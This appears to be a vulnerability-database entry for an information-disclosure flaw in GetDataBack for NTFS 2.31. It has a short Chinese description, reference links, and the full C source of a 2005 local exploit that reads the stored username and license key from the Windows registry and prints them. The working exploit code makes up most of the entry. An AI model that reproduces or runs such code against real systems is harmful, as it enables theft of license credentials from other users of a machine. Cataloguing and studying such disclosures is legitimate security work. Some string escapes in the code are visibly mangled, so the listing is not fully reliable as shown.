https://www.exploit-db.com/exploits/912
https://www.securityfocus.com/bid/90121
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200505-070

NTFS2.31的GetDataBack以纯文本形式在License注册表键的Name值中存储用户名和许可证密钥，从而使本地用户可以获取敏感信息。

/*****************************************************************

GetDataBack for NTFS v2.31 Local Exploit by Kozan

Application: GetDataBack for NTFS v2.31
Vendor: www.runtime.org - Runtime Software
Vulnerable Description: GetDataBack for NTFS v2.31 discloses licence
informaations ( username and key ) to local users.

Discovered & Coded by: Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: [email protected]

*****************************************************************/

#include <stdio.h>
#include <windows.h>

#define BUFSIZE 100
HKEY hKey;
char username[BUFSIZE], key[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;

int main(void)
{

if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\Runtime
Software\GetDataBackNT\License",
0,
KEY_QUERY_VALUE,
&hKey) == ERROR_SUCCESS)
{

lRet = RegQueryValueEx( hKey, "Name", NULL, NULL,(LPBYTE) username,
&dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
RegCloseKey(hKey);
printf("An error occured!");
return 0;
}

lRet = RegQueryValueEx( hKey, "Key", NULL, NULL,(LPBYTE) key, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
RegCloseKey(hKey);
printf("An error occured!");
return 0;
}
RegCloseKey( hKey );

printf("GetDataBack for NTFS v2.31 Local Exploit by Kozann");
printf("Credits to ATmaCAn");
printf("www.netmagister.com - www.spyinstructors.comn");
printf("[email protected]");
printf("Username: %sn",username);
printf("Key : %sn",key);

}
else{
printf("GetDataBack for NTFS v2.31 is not installed on your system!n");
}

return 0;
}

// milw0rm.com [2005-04-04]

Runtime Software Getdataback For Ntfs 2.31

来源:XF
名称:getdataback-ntfs-information-disclosure(19967)
链接:http://xforce.iss.net/xforce/xfdb/19967
来源:OSVDB
名称:15210
链接:http://www.osvdb.org/15210
来源:SECTRACK
名称:1013644
链接:http://securitytracker.com/id?1013644